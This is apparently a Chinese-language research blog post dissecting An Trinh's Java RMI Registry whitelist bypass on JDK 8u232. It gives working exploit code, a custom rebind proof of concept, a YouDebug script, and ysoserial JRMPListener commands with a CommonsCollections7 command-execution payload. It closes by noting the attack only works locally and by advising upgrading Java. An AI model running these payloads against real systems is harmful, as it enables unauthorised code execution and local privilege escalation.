Java反序列化利用中绕过Registry白名单检查

Registry Whitelist Bypass from An Trinh

参[1],第20页,思路是An Trinh原创,但他未给细节。Hans Martin Munch在[2]中补了一半细节。

An Trinh水平较高,2019年Zimbra的两个CVE是他发现的:

CVE-2019-9670(XXE/SSRF)
CVE-2019-6980(反序列化)

不过他一贯风格是不给细节。后来中国人fnmsd提供上面两个CVE的复现细节。

Hans Martin Munch比An Trinh开放,分享过不少有趣的思路,比如用YouDebug搞CVE-2017-3241。

ysoserial.payloads.JRMPClient是设法让受害者扮演”DGC Client”的角色,使之访
问恶意”DGC Server”。受害者反序列化来自后者的恶意Object时有默认过滤器,参看sun.rmi.transport.DGCImpl.checkInput()的实现。

An Trinh的新思路是设法让受害者扮演”RMI Registry Client”的角色,使之访问恶意”RMI Registry Server”。受害者反序列化来自后者的恶意Object时并没有过滤器参与其中,JEP 290未针对这种场景设置默认过滤器。

本文演示环境为8u232。

1) RMIRegistryServer.java

/*
 * javac -encoding GBK -g RMIRegistryServer.java
 * java RMIRegistryServer 1099
 */
import java.rmi.registry.*;

public class RMIRegistryServer
{
    public static void main ( String[] argv ) throws Exception
    {
        int port    = Integer.parseInt( argv[0] );
        LocateRegistry.createRegistry( port );
        System.in.read();
    }
}

2) EvilRMIRegistryClientWithUnicastRemoteObjectFail.java

/*
 * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithUnicastRemoteObjectFail.java
 */
import java.io.*;
import java.lang.reflect.*;
import java.util.Random;
import java.net.Socket;
import java.rmi.Remote;
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.ObjID;
import sun.rmi.transport.tcp.TCPEndpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.server.UnicastRef;

public class EvilRMIRegistryClientWithUnicastRemoteObjectFail
{
    public static Object getObject ( String addr, int port ) throws Exception
    {
        int                 i       = new Random().nextInt();
        ObjID               oid     = new ObjID( i );
        TCPEndpoint         te      = new TCPEndpoint( addr, port );
        LiveRef             lr      = new LiveRef( oid, te, false );
        UnicastRef          ur      = new UnicastRef( lr );
        RemoteObjectInvocationHandler
                            roih    = new RemoteObjectInvocationHandler( ur );
        RMIServerSocketFactory
                            ssfProxy
                                    = ( RMIServerSocketFactory )Proxy.newProxyInstance
        (
            RMIServerSocketFactory.class.getClassLoader(),
            new  Class[]
            {
                RMIServerSocketFactory.class,
                Remote.class
            },
            roih
        );
        Constructor<?>      cons    = UnicastRemoteObject.class.getDeclaredConstructor( new Class[0] );
        cons.setAccessible( true );
        UnicastRemoteObject uro     = ( UnicastRemoteObject )cons.newInstance( new Object[0] );
        Field               f_ssf   = UnicastRemoteObject.class.getDeclaredField( "ssf" );
        f_ssf.setAccessible( true );
        f_ssf.set( uro, ssfProxy );
        return( uro );
    }

    public static void main ( String[] argv ) throws Exception
    {
        String      addr    = argv[0];
        int         port    = Integer.parseInt( argv[1] );
        String      newaddr = argv[2];
        int         newport = Integer.parseInt( argv[3] );
        Remote      obj     = ( Remote )getObject( newaddr, newport );
        Registry    r       = LocateRegistry.getRegistry( addr, port );
        r.rebind( "any", obj );
    }
}

启动恶意服务:

java \
-cp ysoserial-0.0.6-SNAPSHOT-all.jar \
ysoserial.exploit.JRMPListener 1099 \
CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"

启动受害者:

java \
-cp "commons-collections-3.1.jar:." \
RMIRegistryServer 2099

启动攻击者:

java \
EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \
192.168.65.23 1099

这次攻击达不到预期目的。

2.1) 攻击失败的原因

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/ObjectTable.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/Target.java

RegistryImpl_Stub.rebind                // 8u232
  ObjectOutputStream.writeObject        // RegistryImpl_Stub:154
    ObjectOutputStream.writeObject0     // ObjectOutputStream:348
      MarshalOutputStream.replaceObject // ObjectOutputStream:144
        if ((obj instanceof Remote) && !(obj instanceof RemoteStub))
                                        // MarshalOutputStream:80
                                        // Remote实例被特殊对待
        target = ObjectTable.getTarget((Remote) obj)
                                        // MarshalOutputStream:81
                                        // 如果调用过UnicastRemoteObject.exportObject()
                                        // 此处返回的target不为null,流程将去83行
        if (target != null)             // MarshalOutputStream:82
        return target.getStub()         // MarshalOutputStream:83
                                        // 若流程至此,不再是返回我们传入的Remote实例

如果调用过UnicastRemoteObject.exportObject(),用ObjectOutputStream.writeObject()序列化输出该UnicastRemoteObject实例时,会触发MarshalOutputStream.replaceObject(),将UnicastRemoteObject实例替换成另一种对象实例,攻击链被破坏。

如果不想发生这种替换,可以利用反射将ObjectOutputStream.enableReplace由true改成false。这是Hans Martin Munch的主意。

2.2) 利用YouDebug起死回生

参[3],YouDebug允许自动化调试执行,设置断点、断点命中后的动作都可以在脚本中提前定义好。

编辑ModifyRebind.ydb如下:

vm.methodEntryBreakpoint( "java.io.ObjectOutputStream", "writeObject" )
{
    if \
    (
        ( obj instanceof com.sun.tools.jdi.ObjectReferenceImpl )
        &&
        ( obj.referenceType().name().equals( "java.rmi.server.UnicastRemoteObject" ) )
    )
    {
        println "scz is here"
        self.enableReplace  = false;
    }
}

脚本意图很直白,拦截ObjectOutputStream.writeObject(),如果obj是UnicastRemoteObject类型,将ObjectOutputStream.enableReplace从true改成false。

启动恶意服务:

java \
-cp ysoserial-0.0.6-SNAPSHOT-all.jar \
ysoserial.exploit.JRMPListener 1099 \
CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"

启动受害者:

java \
-cp "commons-collections-3.1.jar:." \
RMIRegistryServer 2099

启动攻击者:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \
192.168.65.23 1099

java \
-jar youdebug-1.6-SNAPSHOT-jar-with-dependencies.jar \
-socket 192.168.65.23:8005 \
ModifyRebind.ydb

3) 自定义RegistryImpl_Stub.rebind()

Hans Martin Munch提出自定义RegistryImpl_Stub.rebind(),在writeObject()之前利用反射修改ObjectOutputStream.enableReplace。他说把这当成课后作业,没有直接给答案。我给个实测过的PoC:

private static void rebind ( RegistryImpl_Stub r, String $param_String_1, Remote $param_Remote_2 ) throws Exception
{
    StreamRemoteCall    call    = ( StreamRemoteCall )r.getRef().newCall( r, operations, 3, interfaceHash );
    ObjectOutput        out     = call.getOutputStream();
    ObjectOutputStream  oos     = ( ObjectOutputStream )out;
    Field               f       = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
    f.setAccessible( true );
    f.set( oos, false );
    out.writeObject( $param_String_1 );
    out.writeObject( $param_Remote_2 );
    r.getRef().invoke( call );
    r.getRef().done( call );
}

4) 攻击得手后的简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Skel.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPChannel.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/StreamRemoteCall.java

RegistryImpl_Skel.dispatch                                                      // 8u232
                                                                                // 进入rebind()分支
  RegistryImpl.checkAccess("Registry.rebind")                                   // RegistryImpl_Skel:142
                                                                                // 前置检查rebind()源IP,不允许远程绑定,这才是大盾
  ObjectInputStream.readObject                                                  // RegistryImpl_Skel:148
                                                                                // $param_String_1 = (java.lang.String) in.readObject()
                                                                                // 可以直接打这个位置
  ObjectInputStream.readObject                                                  // RegistryImpl_Skel:149
                                                                                // $param_Remote_2 = (java.rmi.Remote) in.readObject()
    UnicastRemoteObject.readObject
      UnicastRemoteObject.reexport                                              // UnicastRemoteObject:235
        UnicastRemoteObject.exportObject                                        // UnicastRemoteObject:268
          UnicastRemoteObject.exportObject                                      // UnicastRemoteObject:346
            UnicastServerRef.exportObject                                       // UnicastRemoteObject:383
              LiveRef.exportObject                                              // UnicastServerRef:237
                TCPEndpoint.exportObject                                        // LiveRef:147
                  TCPTransport.exportObject                                     // TCPEndpoint:411
                    TCPTransport.listen                                         // TCPTransport:254
                      TCPEndpoint.newServerSocket                               // TCPTransport:335
                        $Proxy0.createServerSocket                              // TCPEndpoint:666
                                                                                // 动态代理机制
                          RemoteObjectInvocationHandler.invoke
                            RemoteObjectInvocationHandler.invokeRemoteMethod    // RemoteObjectInvocationHandler:179
                              UnicastRef.invoke                                 // RemoteObjectInvocationHandler:227
                                                                                // invoke(Remote obj, Method method, Object[] params, long opnum)
                                                                                // 这条攻击链上不会遭遇过滤器
                                TCPChannel.newConnection                        // UnicastRef:129
                                                                                // conn = ref.getChannel().newConnection()
                                StreamRemoteCall.executeCall                    // UnicastRef:161
                                                                                // call.executeCall()
                                  ObjectInputStream.readObject                  // StreamRemoteCall:270
                                    Hashtable.readObject                        // ysoserial/CommonsCollections7
                                      Hashtable.reconstitutionPut
                                        LazyMap.get
                                          Runtime.exec
                                UnicastRef.unmarshalValue                       // UnicastRef:174
                                                                                // returnValue = unmarshalValue(rtype, in)

本地打8u232可以得手。”RegistryImpl_Skel:142″有前置源IP检查,远程打8u232无法通过这个检查。

[1]第20页的调用栈栈顶是:

sun.rmi.server.UnicastRef.unmarshalValue()
sun.rmi.transport.tcp.TCPChannel.newConnection()
sun.rmi.server.UnicastRef.invoke()

我觉得这是An Trinh用春秋笔法展示出来的伪栈。TCPChannel.newConnection()跟这条攻击链无关,仅仅是路过。UnicastRef.unmarshalValue()倒是有可能被利用,但上图已经在StreamRemoteCall.executeCall()中得手了。

5) Hans Martin Munch的失策

Hans Martin Munch修改ObjectOutputStream.enableReplace的思路可行,但确实有些失策。如果他认真看过Matthias Kaiser的ysoserial.payloads.JRMPListener,就不会走这条弯路。

如果用Hans Martin Munch的方案,会有如下调用栈回溯:

[1] sun.rmi.transport.ObjectTable.putTarget (ObjectTable.java:171), pc = 0
[2] sun.rmi.transport.Transport.exportObject (Transport.java:106), pc = 6
[3] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:265), pc = 32
[4] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5
[5] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5
[6] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78
[7] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19
[8] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9
[9] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:198), pc = 26
[10] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:180), pc = 2
[11] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method)
[12] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85
[13] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5
[14] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79

UnicastRemoteObject.exportObject()会触发ObjectTable.putTarget()。

而ObjectOutputStream.writeObject()序列化UnicastRemoteObject实例时会经过如下函数:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java

/*
 * sun.rmi.server.MarshalOutputStream.replaceObject
 */
/**
 * Checks for objects that are instances of java.rmi.Remote
 * that need to be serialized as proxy objects.
 */
protected final Object replaceObject(Object obj) throws IOException {
    if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) {
/*
 * 81行
 */
        Target target = ObjectTable.getTarget((Remote) obj);
        if (target != null) {
/*
 * 83行,不再是返回形参obj
 */
            return target.getStub();
        }
    }
    return obj;
}

上述83行处攻击链被破坏,恶意Object不会被送往受害者。

这个新的白名单绕过技术的正确打开方式是像ysoserial.payloads.JRMPListener那样生成UnicastRemoteObject实例,避免在客户端触发UnicastRemoteObject.exportObject(),这样就不会调用ObjectTable.putTarget(),于是”MarshalOutputStream:81″处返回的target为null,这样就不会发生替换。

6) 无论如何绕不过源IP检查

An Trinh的新技术只能用于本机受害者,不能用于远程受害者。假设有本地提权的场景,或可考虑,远程打1099/TCP就算了。

8u232的”RegistryImpl_Skel:142″处代码是:

RegistryImpl.checkAccess("Registry.rebind")

它在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。据说
8u141就已经前置源IP检查了。

从防御角度看,条件允许的情况下尽量使用高版本Java吧。

参考资源:

[1] Far Sides of Java Remote Protocols – An Trinh [2019-12-04]

https://www.blackhat.com/eu-19/briefings.html

http://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

[2] An Trinhs RMI Registry Bypass – Hans Martin Munch [2020-02]

https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/

[3] YouDebug

https://github.com/kohsuke/youdebug

Spread the word. Share this post!

Meet The Author

C/ASM程序员

Leave Comment